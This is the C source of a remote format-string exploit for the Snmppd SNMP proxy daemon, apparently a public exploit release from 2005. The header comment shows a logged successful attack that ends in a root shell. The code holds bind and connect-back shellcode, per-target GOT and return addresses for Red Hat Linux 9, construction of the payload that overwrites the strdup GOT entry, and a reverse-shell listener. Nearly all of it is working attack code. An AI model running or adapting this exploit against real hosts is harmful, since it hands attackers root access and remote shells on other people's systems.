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- /*
- * Snmppd SNMP proxy daemon format string exploit
- *
- * cybertronic[at]gmx[dot]net
- *
- * 04/29/2005
- *
- * buffer space is 1024 bytes
- * (MAX_SNMPPD_OID_LEN defined in snmppd-0.4.5/snmppd.h )
- *
- * Apr 29 16:01:31 ctronic snmppd[6274]: fd 5: Request:
- * XAAAA_804a81e.bfffb9d4.0.0.0.0.35206466.6552203a.
- * 73657571.58203a74.41414141
- *
- * This is annoying... there is no fixed input storage.
- * Buffer`s location sometimes varies for 0x980 bytes.
- * Below is a short dump. I highjacked the GOT entry
- * of strdup. Maybe there are some fixed pointers for
- * reliable exploitation. Drop me an email if you have
- * any suggestions
- *
- *
- * __strdup
- *
- * 0xbfffb450: 0x906e6824 0x90909090 0x90909090 0x90909090
- * 0xbfffb460: 0x90909090 0x90909090 0x90909090 0x90909090
- * 0xbfffb470: 0x90909090 0x90909090 0x90909090 0x90909090
- *
- * 0xbfffb3d0: 0x906e6824 0x90909090 0x90909090 0x90909090
- * 0xbfffb3e0: 0x90909090 0x90909090 0x90909090 0x90909090
- * 0xbfffb3f0: 0x90909090 0x90909090 0x90909090 0x90909090
- *
- * 0xbfffb6d0: 0x906e6824 0x90909090 0x90909090 0x90909090
- * 0xbfffb6e0: 0x90909090 0x90909090 0x90909090 0x90909090
- * 0xbfffb6f0: 0x90909090 0x90909090 0x90909090 0x90909090
- *
- * 0xbfffbdd0: 0x906e6824 0x90909090 0x90909090 0x90909090
- * 0xbfffbde0: 0x90909090 0x90909090 0x90909090 0x90909090
- * 0xbfffbdf0: 0x90909090 0x90909090 0x90909090 0x90909090
- *
- * 0xbfffc750: 0x906e6824 0x90909090 0x90909090 0x90909090
- * 0xbfffc760: 0x90909090 0x90909090 0x90909090 0x90909090
- * 0xbfffc770: 0x90909090 0x90909090 0x90909090 0x90909090
- *
- * 0804b1a0 R_386_JUMP_SLOT malloc
- * 0804b210 R_386_JUMP_SLOT memset
- * 0804b1fc R_386_JUMP_SLOT __strdup
- *
- * I succeeded on my third try with the same ret:
- *
- * __ __ _
- * _______ __/ /_ ___ _____/ /__________ ____ (_)____
- * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
- * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
- * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
- * /____/
- *
- * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
- * --[ connecting to localhost:164...done!
- * --[ select shellcode
- * |
- * |- [0] bind
- * `- [1] cb
- * >> 0
- * --[ using bind shellcode
- * --[ GOT: 0x0804b1fc
- * --[ RET: 0xbfffc750
- * --[ sending packet [ 1023 bytes ]...done!
- * --[ sleeping 5 seconds before connecting to localhost:20000...
- * --[ connecting to localhost:20000...done!
- * --[ b0x pwned - h4ve phun
- * id
- * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
- * 6(disk),10(wheel)
- *
- *
- */
-
- #include <stdio.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <unistd.h>
-
- #define NOP 0x90
-
- #define RED "\E[31m\E[1m"
- #define GREEN "\E[32m\E[1m"
- #define YELLOW "\E[33m\E[1m"
- #define BLUE "\E[34m\E[1m"
- #define NORMAL "\E[m"
-
- int connect_to_remote_host ( char* tip, unsigned short tport );
- int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip );
- int isip ( char *ip );
- int shell ( int s, char* tip );
- int usage ( char* name );
-
- void start_reverse_handler ( unsigned short cbport );
- void connect_to_bindshell ( char* tip, unsigned short bport );
- void header ();
- void wait ( int sec );
-
- /***********************
- * Linux x86 Shellcode *
- ***********************/
-
- //131 bytes connect back port: 45295
- char reverseshell[] =
- "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
- "\x06\x51\xb1\x01\x51\xb1\x02\x51"
- "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
- "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
- "\x68\x41\x42\x43\x44\x66\x68\xb0"
- "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
- "\x10\x53\x57\x52\x89\xe1\xb3\x03"
- "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
- "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
- "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
- "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
- "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
- "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
- "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
- "\x2f\x62\x69\x89\xe3\x50\x53\x89"
- "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
- "\x01\xcd\x80";
-
- //92 bytes bindcode port: 20000
- char bindshell[] =
- "\x31\xdb" // xor ebx, ebx
- "\xf7\xe3" // mul ebx
- "\xb0\x66" // mov al, 102
- "\x53" // push ebx
- "\x43" // inc ebx
- "\x53" // push ebx
- "\x43" // inc ebx
- "\x53" // push ebx
- "\x89\xe1" // mov ecx, esp
- "\x4b" // dec ebx
- "\xcd\x80" // int 80h
- "\x89\xc7" // mov edi, eax
- "\x52" // push edx
- "\x66\x68\x4e\x20" // push word 8270
- "\x43" // inc ebx
- "\x66\x53" // push bx
- "\x89\xe1" // mov ecx, esp
- "\xb0\xef" // mov al, 239
- "\xf6\xd0" // not al
- "\x50" // push eax
- "\x51" // push ecx
- "\x57" // push edi
- "\x89\xe1" // mov ecx, esp
- "\xb0\x66" // mov al, 102
- "\xcd\x80" // int 80h
- "\xb0\x66" // mov al, 102
- "\x43" // inc ebx
- "\x43" // inc ebx
- "\xcd\x80" // int 80h
- "\x50" // push eax
- "\x50" // push eax
- "\x57" // push edi
- "\x89\xe1" // mov ecx, esp
- "\x43" // inc ebx
- "\xb0\x66" // mov al, 102
- "\xcd\x80" // int 80h
- "\x89\xd9" // mov ecx, ebx
- "\x89\xc3" // mov ebx, eax
- "\xb0\x3f" // mov al, 63
- "\x49" // dec ecx
- "\xcd\x80" // int 80h
- "\x41" // inc ecx
- "\xe2\xf8" // loop lp
- "\x51" // push ecx
- "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
- "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
- "\x89\xe3" // mov ebx, esp
- "\x51" // push ecx
- "\x53" // push ebx
- "\x89\xe1" // mov ecx, esp
- "\xb0\xf4" // mov al, 244
- "\xf6\xd0" // not al
- "\xcd\x80"; // int 80h
-
- typedef struct _args {
- char* tip;
- char* lip;
- int tport;
- int target;
- } args;
-
- struct targets {
- int num;
- unsigned long smashaddr;
- unsigned long writeaddr;
- char name[64];
- }
-
- target[]= {
- { 0, 0x0804b1fc, 0xbfffb3d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" },
- //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
- { 1, 0x0804b1fc, 0xbfffb6d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" },
- //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
- { 2, 0x0804b1fc, 0xbfffbde0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" },
- //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
- { 3, 0x0804b1fc, 0xbfffc750, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" },
- //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
- { 4, 0xdeadc0de, 0xdeadc0de, "description" }, //add more targets if needed
- };
-
- int
- connect_to_remote_host ( char* tip, unsigned short tport )
- {
- int s;
- struct sockaddr_in remote_addr;
- struct hostent* host_addr;
-
- memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
- if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
- {
- printf ( "cannot resolve \"%s\"\n", tip );
- exit ( 1 );
- }
- remote_addr.sin_family = AF_INET;
- remote_addr.sin_port = htons ( tport );
- remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
- if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
- {
- printf ( "socket failed!\n" );
- exit ( 1 );
- }
- printf ( "--[ connecting to %s:%u...", tip, tport );
- if ( connect ( s, ( struct sockaddr * ) &remote_addr,
- sizeof ( struct sockaddr ) ) == -1 )
- {
- printf ( "failed!\n" );
- exit ( 1 );
- }
- printf ( "done!\n" );
- return ( s );
- }
-
- int
-
- exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip )
- {
- char buffer[1024];
- char a, b, c, d;
- unsigned int low, high;
- unsigned long ulcbip;
-
- printf ( "--[ GOT: 0x%08x\n", smashaddr );
- printf ( "--[ RET: 0x%08x\n", writeaddr );
-
- a = ( smashaddr & 0xff000000 ) >> 24;
- b = ( smashaddr & 0x00ff0000 ) >> 16;
- c = ( smashaddr & 0x0000ff00 ) >> 8;
- d = ( smashaddr & 0x000000ff );
-
- high = ( writeaddr & 0xffff0000 ) >> 16;
- low = ( writeaddr & 0x0000ffff );
-
- bzero ( &buffer, sizeof ( buffer ) );
- if ( high < low )
- {
- sprintf ( buffer,
- "X%c%c%c%c"
- "%c%c%c%c"
- "%%.%uu%%11$hn"
- "%%.%uu%%12$hn",
-
- d + 2, c, b, a,
- d, c, b, a,
- high - 24,
- low - high );
- }
- else
- {
- sprintf ( buffer,
- "X%c%c%c%c"
- "%c%c%c%c"
- "%%.%uu%%12$hn"
- "%%.%uu%%11$hn",
-
- d + 2, c, b, a,
- d, c, b, a,
- low -24,
- high - low );
- }
- memset ( buffer + strlen ( buffer ), NOP, sizeof
- ( buffer ) - strlen ( buffer ) - 3 );
- if ( cbip == NULL )
- memcpy ( buffer + sizeof ( buffer ) - sizeof
- ( bindshell ) - 3, bindshell, sizeof ( bindshell ) -1 );
- else
- {
- ulcbip = inet_addr ( cbip );
- memcpy ( &reverseshell[33], &ulcbip, 4 );
- memcpy ( buffer + sizeof ( buffer ) - sizeof ( reverseshell )
- - 3, reverseshell, sizeof ( reverseshell ) -1 );
- }
- strncat ( buffer, "\r\n", 2 );
-
- printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
- if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
- {
- printf ( "failed!\n" );
- return ( 1 );
- }
- printf ( "done!\n" );
-
- return ( 0 );
- }
-
- int
- isip ( char *ip )
- {
- int a, b, c, d;
-
- if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
- return ( 0 );
- if ( a < 1 )
- return ( 0 );
- if ( a > 255 )
- return 0;
- if ( b < 0 )
- return 0;
- if ( b > 255 )
- return 0;
- if ( c < 0 )
- return 0;
- if ( c > 255 )
- return 0;
- if ( d < 0 )
- return 0;
- if ( d > 255 )
- return 0;
- return 1;
- }
-
- int
- shell ( int s, char* tip )
- {
- int n;
- char buffer[2048];
- fd_set fd_read;
-
- printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w"
- NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v"
- YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
-
- FD_ZERO ( &fd_read );
- FD_SET ( s, &fd_read );
- FD_SET ( 0, &fd_read );
-
- while ( 1 )
- {
- FD_SET ( s, &fd_read );
- FD_SET ( 0, &fd_read );
-
- if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
- break;
- if ( FD_ISSET ( s, &fd_read ) )
- {
- if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
- {
- printf ( "bye bye...\n" );
- return;
- }
- if ( write ( 1, buffer, n ) < 0 )
- {
- printf ( "bye bye...\n" );
- return;
- }
- }
- if ( FD_ISSET ( 0, &fd_read ) )
- {
- if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
- {
- printf ( "bye bye...\n" );
- return;
- }
- if ( send ( s, buffer, n, 0 ) < 0 )
- {
- printf ( "bye bye...\n" );
- return;
- }
- }
- usleep(10);
- }
- }
-
- int
- usage ( char* name )
- {
- int i;
-
- printf ( "\n" );
- printf ( "Note: all switches have to be specified!\n" );
- printf ( "You can choose between bind and cb shellcode later!\n" );
- printf ( "\n" );
- printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -t <target>\n", name );
- printf ( "\n" );
- printf ( "Targets\n\n" );
- for ( i = 0; i < 5; i++ )
- printf ( "\t[%d] [0x%08x] [0x%08x] [%s]\n", target[i].num,
- target[i].smashaddr, target[i].writeaddr, target[i].name );
- printf ( "\n" );
- exit ( 1 );
- }
-
- void
- connect_to_bindshell ( char* tip, unsigned short bport )
- {
- int s;
- int sec = 5; // change this for fast targets
- struct sockaddr_in remote_addr;
- struct hostent *host_addr;
-
- if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
- {
- fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
- exit ( 1 );
- }
-
- remote_addr.sin_family = AF_INET;
- remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
- remote_addr.sin_port = htons ( bport );
-
- if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
- {
- printf ( "socket failed!\n" );
- exit ( 1 );
- }
- printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
- wait ( sec );
- printf ( "--[ connecting to %s:%u...", tip, bport );
- if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
- {
- printf ( RED "failed!\n" NORMAL);
- exit ( 1 );
- }
- printf ( YELLOW "done!\n" NORMAL);
- shell ( s, tip );
- }
-
- void
- header ()
- {
- printf ( " __ __ _ \n" );
- printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
- printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
- printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
- printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
- printf ( " /____/ \n\n" );
- printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
- }
-
- void
- parse_arguments ( int argc, char* argv[], args* argp )
- {
- int i = 0;
-
- while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 )
- {
- switch ( i )
- {
- case 'h':
- argp->tip = optarg;
- break;
- case 'p':
- argp->tport = atoi ( optarg );
- break;
- case 'l':
- argp->lip = optarg;
- break;
- case 't':
- argp->target = strtoul ( optarg, NULL, 16 );
- break;
- case ':':
- case '?':
- default:
- usage ( argv[0] );
- }
- }
-
- if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535
- || argp->lip == NULL || argp->target < 0 || argp->target > 4 )
- usage ( argv[0] );
- }
-
- void
- start_reverse_handler ( unsigned short cbport )
- {
- int s1, s2;
- struct sockaddr_in cliaddr, servaddr;
- socklen_t clilen = sizeof ( cliaddr );
-
- bzero ( &servaddr, sizeof ( servaddr ) );
- servaddr.sin_family = AF_INET;
- servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
- servaddr.sin_port = htons ( cbport );
-
- printf ( "--[ starting reverse handler [port: %u]...", cbport );
- if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
- {
- printf ( "socket failed!\n" );
- exit ( 1 );
- }
- bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
- if ( listen ( s1, 1 ) == -1 )
- {
- printf ( "listen failed!\n" );
- exit ( 1 );
- }
- printf ( "done!\n" );
- if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
- {
- printf ( "accept failed!\n" );
- exit ( 1 );
- }
- close ( s1 );
- printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
- shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) );
- close ( s2 );
- }
-
- void
- wait ( int sec )
- {
- sleep ( sec );
- }
-
- int
- main ( int argc, char* argv[] )
- {
- int s, option;
- args myargs;
-
- system ( "clear" );
- header ();
- parse_arguments ( argc, argv, &myargs );
- s = connect_to_remote_host ( myargs.tip, myargs.tport );
-
- printf ( "--[ select shellcode\n" );
- printf ( " |\n" );
- printf ( " |- [0] bind\n" );
- printf ( " `- [1] cb\n" );
- printf ( ">> " );
- scanf ( "%d", &option );
- switch ( option )
- {
- case 0:
- printf ( "--[ using bind shellcode\n" );
- if ( exploit ( s, target[myargs.target].smashaddr,
- target[myargs.target].writeaddr, NULL ) == 1 )
- {
- printf ( "exploitation failed!\n" );
- exit ( 1 );
- }
- connect_to_bindshell ( myargs.tip, 20000 );
- break;
- case 1:
- printf ( "--[ using cb shellcode\n" );
- if ( exploit ( s, target[myargs.target].smashaddr,
- target[myargs.target].writeaddr, myargs.lip ) == 1 )
- {
- printf ( "exploitation failed!\n" );
- exit ( 1 );
- }
- start_reverse_handler ( 45295 );
- break;
- default:
- printf ( "--[ invalid shellcode!\n" ); exit ( 1 );
- }
- close ( s );
- return 0;
- }
-
- Integration
-